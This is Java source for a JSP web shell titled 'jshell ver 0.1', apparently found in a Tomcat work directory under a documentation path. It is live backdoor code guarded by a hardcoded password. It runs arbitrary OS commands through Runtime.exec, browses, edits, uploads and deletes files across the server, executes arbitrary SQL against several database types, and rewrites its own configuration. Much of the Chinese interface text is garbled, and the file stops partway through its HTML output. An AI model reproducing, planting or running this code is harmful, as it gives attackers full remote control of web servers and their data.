Edit C:\galaxie\deploy\Tomcat6\work\Catalina\localhost\docs\org\apache\jsp\funcspecs\_3_jsp.java
package org.apache.jsp.funcspecs; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; import java.io.*; import java.util.Map; import java.util.HashMap; import java.nio.charset.Charset; import java.util.regex.*; import java.sql.*; public final class _3_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { private String _password = "testing012"; private String _encodeType = "GB2312"; private int _sessionOutTime = 20; private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; private Connection _dbConnection = null; private Statement _dbStatement = null; private String _url = null; public boolean validate(String password) { if (password.equals(_password)) { return true; } else { return false; } } public String HTMLEncode(String str) { str = str.replaceAll(" ", " "); str = str.replaceAll("<", "<"); str = str.replaceAll(">", ">"); str = str.replaceAll("\r\n", "<br>"); return str; } public String Unicode2GB(String str) { String sRet = null; try { sRet = new String(str.getBytes("ISO8859_1"), _encodeType); } catch (Exception e) { sRet = str; } return sRet; } public String exeCmd(String cmd) { Runtime runtime = Runtime.getRuntime(); Process proc = null; String retStr = ""; InputStreamReader insReader = null; char[] tmpBuffer = new char[1024]; int nRet = 0; try { proc = runtime.exec(cmd); insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { retStr += new String(tmpBuffer, 0, nRet); } insReader.close(); retStr = HTMLEncode(retStr); } catch (Exception e) { retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>"; } finally { return retStr; } } public String pathConvert(String path) { String sRet = path.replace('\\', '/'); File file = new File(path); if (file.getParent() != null) { if (file.isDirectory()) { if (! sRet.endsWith("/")) sRet += "/"; } } else { if (! sRet.endsWith("/")) sRet += "/"; } return sRet; } public String strCut(String str, int len) { String sRet; len -= 3; if (str.getBytes().length <= len) { sRet = str; } else { try { sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; } catch (Exception e) { sRet = str; } } return sRet; } public String listFiles(String path, String curUri) { File[] files = null; File curFile = null; String sRet = null; int n = 0; boolean isRoot = path.equals(""); path = pathConvert(path); try { if (isRoot) { files = File.listRoots(); } else { try { curFile = new File(path); String[] sFiles = curFile.list(); files = new File[sFiles.length]; for (n = 0; n < sFiles.length; n ++) { files[n] = new File(path + sFiles[n]); } } catch (Exception e) { sRet = "<font color=\"red\">bad path \"" + path + "\"</font>"; } } if (sRet == null) { sRet = "\n"; sRet += "<script language=\"javascript\">\n"; sRet += "var selectedFile = null;\n"; sRet += "<!--\n"; sRet += "function createFolder() {\n"; sRet += " var folderName = prompt(\"请è¾?å?¥ç?®å½?å??\", \"\");\n"; sRet += " if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n"; sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n"; sRet += " }\n"; sRet += "}\n"; sRet += "\n"; sRet += "function createFile() {\n"; sRet += " var fileName = prompt(\"请è¾?å?¥æ??件å??\", \"\");\n"; sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n"; sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n"; sRet += " }\n"; sRet += "}\n"; sRet += "\n"; sRet += "function selectFile(obj) {\n"; sRet += " if (selectedFile != null)\n"; sRet += " selectedFile.style.backgroundColor = \"#FFFFFF\";\n"; sRet += " selectedFile = obj;\n"; sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n"; sRet += "}\n"; sRet += "\n"; sRet += "function change(obj) {\n"; sRet += " if (selectedFile != obj)\n"; sRet += " obj.style.backgroundColor = \"#CCCCCC\";\n"; sRet += "}\n"; sRet += "\n"; sRet += "function restore(obj) {\n"; sRet += " if (selectedFile != obj)\n"; sRet += " obj.style.backgroundColor = \"#FFFFFF\";\n"; sRet += "}\n"; sRet += "\n"; sRet += "function showUpload() {\n"; sRet += " up.style.visibility = \"visible\";\n"; sRet += "}\n"; sRet += "\n"; sRet += "function copyFile() {\n"; sRet += " var toPath = prompt(\"请è¾?å?¥è¦?å¤?å?¶å?°ç??ç?®å½?(ç»?对路å¾?)\", \"\");\n"; sRet += " if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n"; sRet += " document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n"; sRet += " document.fileList.submit();\n"; sRet += " }\n"; sRet += "}\n"; sRet += "\n"; sRet += "function rename() {\n"; sRet += " var count = 0;\n"; sRet += " var selected = -1;\n"; sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n"; sRet += " if (document.fileList.filesDelete[i].checked) {\n"; sRet += " count ++;\n"; sRet += " selected = i;\n"; sRet += " }\n"; sRet += " }\n"; sRet += " if (count > 1)\n"; sRet += " alert(\"ä¸?è?½é??å?½å??å¤?个æ??件\");\n"; sRet += " else if (selected == -1)\n"; sRet += " alert(\"没æ??é??ä¸è¦?é??å?½å??ç??æ??件\");\n"; sRet += " else {\n"; sRet += " var newName = prompt(\"请è¾?å?¥æ?°æ??件å??\", \"\");\n"; sRet += " if (newName != null && newName != false && ltrim(newName) != \"\") {\n"; sRet += " window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;"; sRet += " }\n"; sRet += " }\n"; sRet += "}\n"; sRet += "\n"; sRet += "//-->\n"; sRet += "</script>\n"; sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n"; sRet += " <form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n"; if (curFile != null) { sRet += " <tr>\n"; sRet += " <td colspan=\"4\" valign=\"middle\">\n"; sRet += " <a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">ä¸?级ç?®å½?</a> "; sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">å??建ç?®å½?</a> "; sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">æ?°å»ºæ??件</a> "; sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">å? é?¤</a> "; sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">å¤?å?¶</a> "; sRet += "<a href=\"#\" onclick=\"javascript:rename()\">é??å?½å??</a> "; sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">ä¸?ä¼ æ??件</a>\n"; sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"ä¸?ä¼ \" name=\"upFile\" size=\"8\" class=\"textbox\" /> <input type=\"submit\" value=\"ä¸?ä¼ \" class=\"button\"></span>\n"; sRet += " </td>\n"; sRet += " </tr>\n"; } sRet += "</form>\n"; sRet += " <form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n"; for (n = 0; n < files.length; n ++) { sRet += " <tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n"; if (! isRoot) { sRet += " <td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n"; if (files[n].isDirectory()) { sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\"><" + strCut(files[n].getName(), 50) + "></a></td>\n"; } else { sRet += " <td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n"; } sRet += " <td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n"; sRet += " <td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n"; } else { sRet += " <td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n"; } sRet += " </tr>\n"; } sRet += " </form>\n"; sRet += "</table>\n"; } } catch (SecurityException e) { sRet = "<font color=\"red\">security violation, no privilege.</font>"; } return sRet; } public boolean isTextFile(String extName) { int i; boolean bRet = false; if (! extName.equals("")) { for (i = 0; i < _textFileTypes.length; i ++) { if (extName.equals(_textFileTypes[i])) { bRet = true; break; } } } else { bRet = true; } return bRet; } public String getExtName(String fileName) { String sRet = ""; int nLastDotPos; fileName = pathConvert(fileName); nLastDotPos = fileName.lastIndexOf("."); if (nLastDotPos == -1) { sRet = ""; } else { sRet = fileName.substring(nLastDotPos + 1); } return sRet; } public String browseFile(String path) { String sRet = ""; File file = null; FileReader fileReader = null; path = pathConvert(path); try { file = new File(path); fileReader = new FileReader(file); String fileString = ""; char[] chBuffer = new char[1024]; int ret; sRet = "<script language=\"javascript\">\n"; while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) { fileString += new String(chBuffer, 0, ret); } sRet += "var wnd = window.open(\"about:blank\", \"_blank\", \"width=600, height=500\");\n"; sRet += "var doc = wnd.document;\n"; sRet += "doc.write(\"" + "aaa" + "\");\n"; sRet += "</script>\n"; } catch (IOException e) { sRet += "<script language=\"javascript\">\n"; sRet += "alert(\"æ??å¼?æ??件" + path + "失败\");\n"; sRet += "</script>\n"; } return sRet; } public String openFile(String path, String curUri) { String sRet = ""; boolean canOpen = false; int nLastDotPos = path.lastIndexOf("."); String extName = ""; String fileString = null; File curFile = null; path = pathConvert(path); if (nLastDotPos == -1) { canOpen = true; } else { extName = path.substring(nLastDotPos + 1); canOpen = isTextFile(extName); } if (canOpen) { try { fileString = ""; curFile = new File(path); FileReader fileReader = new FileReader(curFile); char[] chBuffer = new char[1024]; int nRet; while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { fileString += new String(chBuffer, 0, nRet); } fileReader.close(); } catch (IOException e) { fileString = null; sRet = "<font color=\"red\">ä¸?è?½æ??å¼?æ??件\"" + path + "\"</font>"; } catch (SecurityException e) { fileString = null; sRet = "<font color=\"red\">å®?å?¨é?®é¢?ï¼?没æ??æ??é??æ?§è¡?该æ??ä½?</font>"; } } else { sRet = "<font color=\"red\">file \"" + path + "\" is not a text file, can't be opened in text mode</font>"; } if (fileString != null) { sRet += "<script language=\"javascript\">"; sRet += "<!--\n"; sRet += "function saveAs() {\n"; sRet += " var fileName = prompt(\"请è¾?å?¥æ??件å??\", \"\");\n"; sRet += " if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n"; sRet += " document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n"; sRet += " document.openfile.submit();\n"; sRet += " }\n"; sRet += "}\n"; sRet += "//-->\n"; sRet += "</script>\n"; sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n"; sRet += " <form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=save" + "\">\n"; sRet += " <tr>\n"; sRet += " <td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">ä¸?级ç?®å½?</a>]</td>\n"; sRet += " </tr>\n"; sRet += " <tr>\n"; sRet += " <td align=\"center\">\n"; sRet += " <textarea name=\"fileContent\" cols=\"80\" rows=\"32\">\n"; sRet += fileString; sRet += " </textarea>\n"; sRet += " </td>\n"; sRet += " </tr>\n"; sRet += " <tr>\n"; sRet += " <td align=\"center\"><input type=\"submit\" class=\"button\" value=\"ä¿?å?\" /> <input type=\"button\" class=\"button\" value=\"å?¦å?为\" onclick=\"javascript:saveAs()\" /></td>\n"; sRet += " </tr>\n"; sRet += " </form>\n"; sRet += "</table>\n"; } return sRet; } public String saveFile(String path, String curUri, String fileContent) { String sRet = ""; File file = null; path = pathConvert(path); try { file = new File(path); if (! file.canWrite()) { sRet = "<font color=\"red\">æ??件ä¸?å?¯å??</font>"; } else { FileWriter fileWriter = new FileWriter(file); fileWriter.write(fileContent); fileWriter.close(); sRet = "æ??件ä¿?å?æ??å??ï¼?æ£å?¨è¿?å??ï¼?请ç¨?å??â?¦â?¦\n"; sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />\n"; } } catch (IOException e) { sRet = "<font color=\"red\">ä¿?å?æ??件失败</font>"; } catch (SecurityException e) { sRet = "<font color=\"red\">å®?å?¨é?®é¢?ï¼?没æ??æ??é??æ?§è¡?该æ??ä½?</font>"; } return sRet; } public String createFolder(String path, String curUri, String folderName) { String sRet = ""; File folder = null; path = pathConvert(path); try { folder = new File(path + folderName); if (folder.exists() && folder.isDirectory()) { sRet = "<font color=\"red\">\"" + path + folderName + "\"ç?®å½?å·²ç»?å?å?¨</font>"; } else { if (folder.mkdir()) { sRet = "æ??å??å??建ç?®å½?\"" + pathConvert(folder.getPath()) + "\"ï¼?æ£å?¨è¿?å??ï¼?请ç¨?å??â?¦â?¦\n"; sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + folderName + "\" />"; } else { sRet = "<font color=\"red\">å??建ç?®å½?\"" + folderName + "\"失败</font>"; } } } catch (SecurityException e) { sRet = "<font color=\"red\">å®?å?¨é?®é¢?ï¼?没æ??æ??é??æ?§è¡?该æ??ä½?</font>"; } return sRet; } public String createFile(String path, String curUri, String fileName) { String sRet = ""; File file = null; path = pathConvert(path); try { file = new File(path + fileName); if (file.createNewFile()) { sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "\" />"; } else { sRet = "<font color=\"red\">\"" + path + fileName + "\"æ??件已ç»?å?å?¨</font>"; } } catch (SecurityException e) { sRet = "<font color=\"red\">å®?å?¨é?®é¢?ï¼?没æ??æ??é??æ?§è¡?该æ??ä½?</font>"; } catch (IOException e) { sRet = "<font color=\"red\">å??建æ??件\"" + path + fileName + "\"失败</font>"; } return sRet; } public String deleteFile(String path, String curUri, String[] files2Delete) { String sRet = ""; File tmpFile = null; try { for (int i = 0; i < files2Delete.length; i ++) { tmpFile = new File(files2Delete[i]); if (! tmpFile.delete()) { sRet += "<font color=\"red\">å? é?¤\"" + files2Delete[i] + "\"失败</font><br>\n"; } } if (sRet.equals("")) { sRet = "å? é?¤æ??å??ï¼?æ£å?¨è¿?å??ï¼?请ç¨?å??â?¦â?¦\n"; sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />"; } } catch (SecurityException e) { sRet = "<font color=\"red\">å®?å?¨é?®é¢?ï¼?没æ??æ??é??æ?§è¡?该æ??ä½?</font>\n"; } return sRet; } public String saveAs(String path, String curUri, String fileContent) { String sRet = ""; File file = null; FileWriter fileWriter = null; try { file = new File(path); if (file.createNewFile()) { fileWriter = new FileWriter(file); fileWriter.write(fileContent); fileWriter.close(); sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />"; } else { sRet = "<font color=\"red\">æ??件\"" + path + "\"å·²ç»?å?å?¨</font>"; } } catch (IOException e) { sRet = "<font color=\"red\">å??建æ??件\"" + path + "\"失败</font>"; } return sRet; } public String uploadFile(ServletRequest request, String path, String curUri) { String sRet = ""; File file = null; InputStream in = null; path = pathConvert(path); try { in = request.getInputStream(); byte[] inBytes = new byte[request.getContentLength()]; int nBytes; int start = 0; int end = 0; int size = 1024; String token = null; String filePath = null; // // æ??è¾?å?¥æµ?读å?¥ä¸?个å?è??æ?°ç»? // while ((nBytes = in.read(inBytes, start, size)) != -1) { start += nBytes; } in.close(); // // ä»?å?è??æ?°ç»?ä¸å¾?å?°æ??件å??é??符å?· // int i = 0; byte[] seperator; while (inBytes[i] != 13) { i ++; } seperator = new byte[i]; for (i = 0; i < seperator.length; i ++) { seperator[i] = inBytes[i]; } // // å¾?å?°Headeré?¨å?? // String dataHeader = null; i += 3; start = i; while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { i ++; } end = i - 1; dataHeader = new String(inBytes, start, end - start + 1); // // å¾?å?°æ??件å?? // token = "filename=\""; start = dataHeader.indexOf(token) + token.length(); token = "\""; end = dataHeader.indexOf(token, start) - 1; filePath = dataHeader.substring(start, end + 1); filePath = pathConvert(filePath); String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); // // å¾?å?°æ??件å??容å¼?å§?ä½?ç½® // i += 4; start = i; /* boolean found = true; byte[] tmp = new byte[seperator.length]; while (i <= inBytes.length - 1 - seperator.length) { for (int j = i; j < i + seperator.length; j ++) { if (seperator[j - i] != inBytes[j]) { found = false; break; } else tmp[j - i] = inBytes[j]; } if (found) break; i ++; }*/ // // å?·æ??ç??å??æ³? // end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; // // ä¿?å?为æ??件 // File newFile = new File(path + fileName); newFile.createNewFile(); FileOutputStream out = new FileOutputStream(newFile); //out.write(inBytes, start, end - start + 1); out.write(inBytes, start, end - start + 1); out.close(); sRet = "<script language=\"javascript\">\n"; sRet += "alert(\"æ??件ä¸?ä¼ æ??å??" + fileName + "\");\n"; sRet += "</script>\n"; } catch (IOException e) { sRet = "<script language=\"javascript\">\n"; sRet += "alert(\"æ??件ä¸?ä¼ å¤±è´¥\");\n"; sRet += "</script>\n"; } sRet += "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "\" />"; return sRet; } public boolean fileCopy(String srcPath, String dstPath) { boolean bRet = true; try { FileInputStream in = new FileInputStream(new File(srcPath)); FileOutputStream out = new FileOutputStream(new File(dstPath)); byte[] buffer = new byte[1024]; int nBytes; while ((nBytes = in.read(buffer, 0, 1024)) != -1) { out.write(buffer, 0, nBytes); } in.close(); out.close(); } catch (IOException e) { bRet = false; } return bRet; } public String getFileNameByPath(String path) { String sRet = ""; path = pathConvert(path); if (path.lastIndexOf("/") != -1) { sRet = path.substring(path.lastIndexOf("/") + 1); } else { sRet = path; } return sRet; } public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { String sRet = ""; int i; path = pathConvert(path); dstPath = pathConvert(dstPath); for (i = 0; i < files2Copy.length; i ++) { if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { sRet += "<font color=\"red\">æ??件\"" + files2Copy[i] + "\"å¤?å?¶å¤±è´¥</font><br/>"; } } if (sRet.equals("")) { sRet = "æ??件å¤?å?¶æ??å??ï¼?æ£å?¨è¿?å??ï¼?请ç¨?å??â?¦â?¦"; sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />"; } return sRet; } public boolean isFileName(String fileName) { boolean bRet = false; Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); Matcher m = p.matcher(fileName); bRet = m.matches(); return bRet; } public String renameFile(String path, String curUri, String file2Rename, String newName) { String sRet = ""; path = pathConvert(path); file2Rename = pathConvert(file2Rename); try { File file = new File(file2Rename); newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; File newFile = new File(newName); if (! file.exists()) { sRet = "<font color=\"red\">æ??件\"" + file2Rename + "\"ä¸?å?å?¨</font>"; } else { file.renameTo(newFile); sRet = "æ??件é??å?½å??æ??å??ï¼?æ£å?¨è¿?å??ï¼?请ç¨?å??â?¦â?¦"; sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />"; } } catch (SecurityException e) { sRet = "<font color=\"red\">å®?å?¨é?®é¢?导è?´æ??件\"" + file2Rename + "\"å¤?å?¶å¤±è´¥</font>"; } return sRet; } public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { boolean bRet = true; String driverName = ""; if (dbServer.equals("")) dbServer = "localhost"; try { if (dbType.equals("sqlserver")) { driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; if (dbPort.equals("")) dbPort = "1433"; _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; } else if (dbType.equals("mysql")) { driverName = "com.mysql.jdbc.Driver"; if (dbPort.equals("")) dbPort = "3306"; _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; } else if (dbType.equals("odbc")) { driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; } else if (dbType.equals("oracle")) { driverName = "oracle.jdbc.driver.OracleDriver"; _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; } else if (dbType.equals("db2")) { driverName = "com.ibm.db2.jdbc.app.DB2Driver"; _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; } Class.forName(driverName); } catch (ClassNotFoundException e) { bRet = false; } return bRet; } public boolean DBConnect(String User, String Password) { boolean bRet = false; if (_url != null) { try { _dbConnection = DriverManager.getConnection(_url, User, Password); _dbStatement = _dbConnection.createStatement(); bRet = true; } catch (SQLException e) { bRet = false; } } return bRet; } public String DBExecute(String sql) { String sRet = ""; if (_dbConnection == null || _dbStatement == null) { sRet = "<font color=\"red\">æ?°æ?®åº?没æ??æ£å¸¸è¿?æ?¥</font>"; } else { try { if (sql.toLowerCase().substring(0, 6).equals("select")) { ResultSet rs = _dbStatement.executeQuery(sql); ResultSetMetaData rsmd = rs.getMetaData(); int colNum = rsmd.getColumnCount(); int colType; sRet = "sqlè¯å?¥æ?§è¡?æ??å??ï¼?è¿?å??ç»?æ??<br>\n"; sRet += "<table align=\"center\" border=\"0\" bgcolor=\"#CCCCCC\" cellpadding=\"2\" cellspacing=\"1\">\n"; sRet += " <tr bgcolor=\"#FFFFFF\">\n"; for (int i = 1; i <= colNum; i ++) { sRet += " <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>\n"; } sRet += " </tr>\n"; while (rs.next()) { sRet += " <tr bgcolor=\"#FFFFFF\">\n"; for (int i = 1; i <= colNum; i ++) { colType = rsmd.getColumnType(i); sRet += " <td>"; switch (colType) { case Types.BIGINT: sRet += rs.getLong(i); break; case Types.BIT: sRet += rs.getBoolean(i); break; case Types.BOOLEAN: sRet += rs.getBoolean(i); break; case Types.CHAR: sRet += rs.getString(i); break; case Types.DATE: sRet += rs.getDate(i).toString(); break; case Types.DECIMAL: sRet += rs.getDouble(i); break; case Types.NUMERIC: sRet += rs.getDouble(i); break; case Types.REAL: sRet += rs.getDouble(i); break; case Types.DOUBLE: sRet += rs.getDouble(i); break; case Types.FLOAT: sRet += rs.getFloat(i); break; case Types.INTEGER: sRet += rs.getInt(i); break; case Types.TINYINT: sRet += rs.getShort(i); break; case Types.VARCHAR: sRet += rs.getString(i); break; case Types.TIME: sRet += rs.getTime(i).toString(); break; case Types.DATALINK: sRet += rs.getTimestamp(i).toString(); break; } sRet += " </td>\n"; } sRet += " </tr>\n"; } sRet += "</table>\n"; rs.close(); } else { if (_dbStatement.execute(sql)) { sRet = "sqlè¯å?¥æ?§è¡?æ??å??"; } else { sRet = "<font color=\"red\">sqlè¯å?¥æ?§è¡?失败</font>"; } } } catch (SQLException e) { sRet = "<font color=\"red\">sqlè¯å?¥æ?§è¡?失败</font>"; } } return sRet; } public void DBRelease() { try { if (_dbStatement != null) { _dbStatement.close(); _dbStatement = null; } if (_dbConnection != null) { _dbConnection.close(); _dbConnection = null; } } catch (SQLException e) { } } ///////////////////////////////////////////////////////////////////////////////////////////////////////////////// class JshellConfig { private String _jshellContent = null; private String _path = null; public JshellConfig(String path) throws JshellConfigException { _path = path; read(); } private void read() throws JshellConfigException { try { FileReader jshell = new FileReader(new File(_path)); char[] buffer = new char[1024]; int nChars; _jshellContent = ""; while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { _jshellContent += new String(buffer, 0, nChars); } jshell.close(); } catch (IOException e) { throw new JshellConfigException("æ??å¼?æ??件失败"); } } public void save() throws JshellConfigException { FileWriter jshell = null; try { jshell = new FileWriter(new File(_path)); char[] buffer = _jshellContent.toCharArray(); int start = 0; int size = 1024; for (start = 0; start < buffer.length - 1 - size; start += size) { jshell.write(buffer, start, size); } jshell.write(buffer, start, buffer.length - 1 - start); } catch (IOException e) { new JshellConfigException("å??æ??件失败"); } finally { try { jshell.close(); } catch (IOException e) { } } } public void setPassword(String password) throws JshellConfigException { Pattern p = Pattern.compile("\\w+"); Matcher m = p.matcher(password); if (! m.matches()) { throw new JshellConfigException("å¯?ç ?ä¸?è?½æ??é?¤å?æ¯?æ?°å?ä¸?å??线以å¤?ç??å?符"); } p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); m = p.matcher(_jshellContent); if (! m.find()) { throw new JshellConfigException("ç¨?åº?ä½?å·²ç»?被é??æ³?ä¿®æ?¹"); } _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); //return HTMLEncode(_jshellContent); } public void setEncodeType(String encodeType) throws JshellConfigException { Pattern p = Pattern.compile("[A-Za-z0-9]+"); Matcher m = p.matcher(encodeType); if (! m.matches()) { throw new JshellConfigException("ç¼?ç ?æ ¼å¼?å?ªè?½æ?¯å?æ¯?å??æ?°å?ç??ç»?å??"); } p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); m = p.matcher(_jshellContent); if (! m.find()) { throw new JshellConfigException("ç¨?åº?ä½?å·²ç»?被é??æ³?ä¿®æ?¹"); } _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); //return HTMLEncode(_jshellContent); } public void setSessionTime(String sessionTime) throws JshellConfigException { Pattern p = Pattern.compile("\\d+"); Matcher m = p.matcher(sessionTime); if (! m.matches()) { throw new JshellConfigException("sessionè¶?æ?¶æ?¶é?´å?ªè?½å¡«æ?°å?"); } p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); m = p.matcher(_jshellContent); if (! m.find()) { throw new JshellConfigException("ç¨?åº?ä½?å·²ç»?被é??æ³?ä¿®æ?¹"); } _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); //return HTMLEncode(_jshellContent); } public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { Pattern p = Pattern.compile("\\w+"); Matcher m = null; int i; String fileTypes = ""; String tmpFileTypes = ""; for (i = 0; i < textFileTypes.length; i ++) { m = p.matcher(textFileTypes[i]); if (! m.matches()) { throw new JshellConfigException("æ?©å±?å??å?ªè?½æ?¯å?æ¯?æ?°å?å??ä¸?å??线ç??ç»?å??"); } if (i != textFileTypes.length - 1) fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; else fileTypes += "\"" + textFileTypes[i] + "\""; } for (i = 0; i < _textFileTypes.length; i ++) { if (i != _textFileTypes.length - 1) tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; else tmpFileTypes += "\"" + _textFileTypes[i] + "\""; } p = Pattern.compile(tmpFileTypes); m = p.matcher(_jshellContent); if (! m.find()) { throw new JshellConfigException("ç¨?åº?æ??件已ç»?被é??æ³?ä¿®æ?¹"); } _jshellContent = m.replaceAll(fileTypes); //return HTMLEncode(_jshellContent); } public String getContent() { return HTMLEncode(_jshellContent); } } class JshellConfigException extends Exception { public JshellConfigException(String message) { super(message); } } private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public Object getDependants() { return _jspx_dependants; } public void _jspInit() { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); _jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName()); } public void _jspDestroy() { } public void _jspService(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { PageContext pageContext = null; HttpSession session = null; ServletContext application = null; ServletConfig config = null; JspWriter out = null; Object page = this; JspWriter _jspx_out = null; PageContext _jspx_page_context = null; try { response.setContentType("text/html; charset=GBK"); pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; out.write("\r\n"); out.write("\r\n"); out.write("\r\n"); out.write("\r\n"); out.write("\r\n"); out.write("\r\n"); out.write("\r\n"); out.write("\r\n"); out.write("<html>\r\n"); out.write("<head>\r\n"); out.write("<title>jshell ver 0.1</title>\r\n"); out.write("</head>\r\n"); out.write("<style>\r\n"); out.write("body {\r\n"); out.write("\tfont-size: 14px;\r\n"); out.write("\tfont-family: å®?ä½?;\r\n"); out.write("}\r\n"); out.write("td {\r\n"); out.write("\tfont-size: 14px;\r\n"); out.write("\tfont-family: å®?ä½?;\r\n"); out.write("}\r\n"); out.write("\r\n"); out.write("input.textbox {\r\n"); out.write("\tborder: black solid 1;\r\n"); out.write("\tfont-size: 12px;\r\n"); out.write("\theight: 18px;\r\n"); out.write("}\r\n"); out.write("\r\n"); out.write("input.button {\r\n"); out.write("\tfont-size: 12px;\r\n"); out.write("\tfont-family: å®?ä½?;\r\n"); out.write("\tborder: black solid 